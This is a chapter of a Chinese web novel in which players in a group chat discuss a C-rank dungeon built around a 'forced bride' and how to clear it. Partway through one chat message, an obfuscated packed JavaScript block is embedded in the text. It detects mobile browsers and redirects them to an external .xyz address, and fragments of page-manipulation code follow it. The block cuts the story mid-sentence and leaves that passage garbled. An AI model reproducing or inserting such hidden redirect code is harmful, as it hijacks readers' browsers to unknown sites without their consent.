粟米玛森：为啥要套个团咪的皮啊？ 虽然说先前就能感觉到了，但是现在看到这种说半句话就要分行的聊天方式，步绾更加笃定苏敉现实里也是个老二次元了。 就差再加点括号了，比如说什么“就你们应该懂我意思吧（”。 步绾是新手，对副本没有认知，这个时候就该少开口，甚至进本前还在思考假如他们问自己下了几个本该怎么回答，于是突然意识到贺清璟回答时候的机智：“我下副本三次”，那么这次是第三次还是第四次，说不太清楚。 逢虚还在有一搭没一搭地和司机闲聊，不然五个人一起低着头手机打字太明显了。 逢虚这名取自凭虚御风，但好像没什么人姓凭，于是想姓冯，又觉得冯虚不好听，选了个逢虚，一看就是主角名。 尽管顶着个仙气飘飘的名，主角是个命苦但浑不吝的老油条，油嘴滑舌地敷衍是常态，最后一切濒临毁灭，大家以为他早就逃了，痛骂着他缩头乌龟混账垃圾，不知道他早就死在第一批里面了。 “逢虚”不是真名，“鹤信脩”也不是真名，但“逢虚”是她笔下的人物，“鹤信脩”也是。 步绾有点微妙，觉得自己抓住了什么，但又觉得前面一片模糊，有一点感觉走到了末路，但陌路的尽头是一个装满了煎饼果子面糊的桶那样。 但也还不至于末路，副本才开始呢，只不过她是真的想吃煎饼果子了。 他们群里聊的话题已经开始过于正经了起来，说着什么很多年轻人过度沉迷二次元，其实是在给自己寻找一个乌托邦，嘉嘉子可能就是在给自己找一个逃离现实的出口。 林同归吐槽，二不二次元不重要，喜欢什么都行，只要打的怪不是二次元，没什么变身机甲召唤兽就行。 步绾也腹诽，其实少女漫也挺恐怖的，走大街上横空出世一个需要被净化的奇形怪状生物，听个演唱会突然漂浮了数十个黑皮蛋，想自杀的话跳个井还得担心会不会被被送到多少年之前。 她想起了文里鹤信脩经历过的那个恐怖的玛丽苏世界。 女主横空出世掉到九袋面家里，九袋面一见钟情和妈妈说我要娶她，第二章女主放学路上被半道打劫送到了某凤梨头面前，凤梨头kufufu地笑着说我的公主啊，找到了你我才找到了生活的意义；第三章女主我见犹怜地哭泣，弥弥骸骸你们不要再打了我的心好痛，你们都是我的翅膀呜呜呜呜我不想成为折翼的天使啊。 步绾眯着眼看完了前几章觉得自己的心更痛。 然后看到了后面杂乱的大纲，发现这居然是披着个玛丽苏同人皮子的掉san世界，不按照规定路线走的话角色就像卡了壳的伪人似的。 最后的结局是女主意识到这是她的幻想构造出来的世界，世界破碎的时候女主怔愣愣盯着腐化的躯壳默默流泪，鹤信脩给了她最后一个很深的拥抱。 步绾第一个世界没高兴写完，去写第二个世界了，可能因为第一个世界的少年郎们短暂地失去了吸引力。当然，第二个世界也没写完。 ……话说，这个本，应该不至于这么恐怖吧？ 我推的绿绿酱：按照观众朋友的说法，这个副本很简单，按照流程走的话生存率也几乎是百分之百 我推的绿绿酱：算得上是C级中最简单的那一波了 什么东西？观众朋友？ 粟米玛森：哥你C级还开直播啊？ 我推的绿绿酱：我开销大嘛 步绾愣了一下，反应过来。玩家是可以选择开不开直播的，她根本就没开直播的意识，但好像听苏敉的意思是，大家一般C D级的副本都不会开直播，而逢虚走的不是一般的路子。 但是这怎么还能和观众交流的啊？那这样的话不是能从观众那儿获得很多信息吗？ 还是说这个信息也是筛选的不剧透的内容？不对啊，他刚刚说的那些也算告知了信息吧？ 搞不明白，但不敢问，不敢在这里暴露出还是新手的事情。 宿留：好像和我的了解不太一样 宿留：这个副本在我的了解里伤残率很高的？ 人妻lo??ve：啊？ 人妻lo??ve：救救新手 步绾估计这个林同归应该也是和她一样只进过一次副本的玩家，犹豫了一会儿要不要自己也表个态，但还是没说话，一心两用地窥屏加听逢虚和司机聊天。 我推的绿绿酱：？细说 宿留：等级低的副本大部分名字都很独特， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731786|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们应该都知道 人妻lo??ve：我上个副本标题跟日式轻小说似的 粟米玛森：我知道CD级的副本名字会乱变但内核不变？ 宿留：对，名字有可能会变得普通，也有可能会变得“奇特” 宿留：虽然后者多一点，但规律没总结出来过 宿留：我的了解中，这个副本的内核就是「被强迫的新娘」 宿留：前置和背景可能会发生变化，有的时候会显示元素杂糅，但无论怎么样，内核不会变 宿留：比如徐罔市这个核心npc 宿留：在我公会朋友经历过的那个副本里 宿留：npc姓名一样，故事却是发生在渔村里 世界第一总攻：这个名字感觉确实和渔村更适配一点 世界第一总攻：……这话说起来感觉怪怪的 粟米玛森：等一下朋友们 粟米玛森：你们刚刚一个说生存率高，一个说伤残率高 粟米玛森：所以其实也不冲突？伤了但没死 人妻lo??ve：对哦 人妻lo??ve：是这个意思吗 我推的绿绿酱：算也不算 我推的绿绿酱：所以重点其实是那个“流程” 宿留：对 世界第一总攻：俺不理解.jpg 宿留：一般这个副本的流程是这样的 宿留：玩家以各种理由和身份突然出现在村庄里，汇合失败的基本上会以各种原因受伤或者死亡 宿留：然后会出现各种原因致使大家无法离开村落、必须参与婚礼 宿留：接着村民会告诉玩家几条规则，违反规则者死 宿留：在遵守规则的同时要尽量与新娘多多接触 宿留：最为重要的一点是，一定要让新娘亲口说出她不想结婚、她想逃离的事情 宿留：再次强调这一点，一定要亲口说出，不然会出现新娘反水的结局 宿留：这个副本很极端，要么是通关失败，要么直接A级通关，即带着新娘逃脱 我推的绿绿酱：也还是有D级通关的 我推的绿绿酱：婚礼结束、山路修好之后被送出了村落，达成了D级 我推的绿绿酱：我的一点小能力，可以确保弹幕没撒谎 我推的绿绿酱：但是更具体细节的我不能知道了 我推的绿绿酱：这个玩家应该额外做了什么事 步绾有点晕字了。 怎么感觉这个副本这么难啊，到底是那种摸不清主线的副本难还是这种不按照规则走会出事的副本难啊？C级就这样的话，那升级成S级的那个副本会是什么样的呢…… 粟米玛森：所以意思是只要按照流程走就不会出事？ 粟米玛森：不对emm 粟米玛森：所以意思是遵守规则的同时劝嘉嘉子逃婚就不会出事？ 人妻lo??ve：准确点，劝成功逃婚 人妻lo??ve：拿她二次元老公劝有用吗？ 粟米玛森：让你失望了 粟米玛森：她没二次元老公 粟米玛森：她嗑cp 粟米玛森：好像还美帝呢 我推的绿绿酱：美帝是啥？ 我推的绿绿酱：老美和大英？ 粟米玛森：我靠 世界第一总攻：我靠 人妻lo??ve：？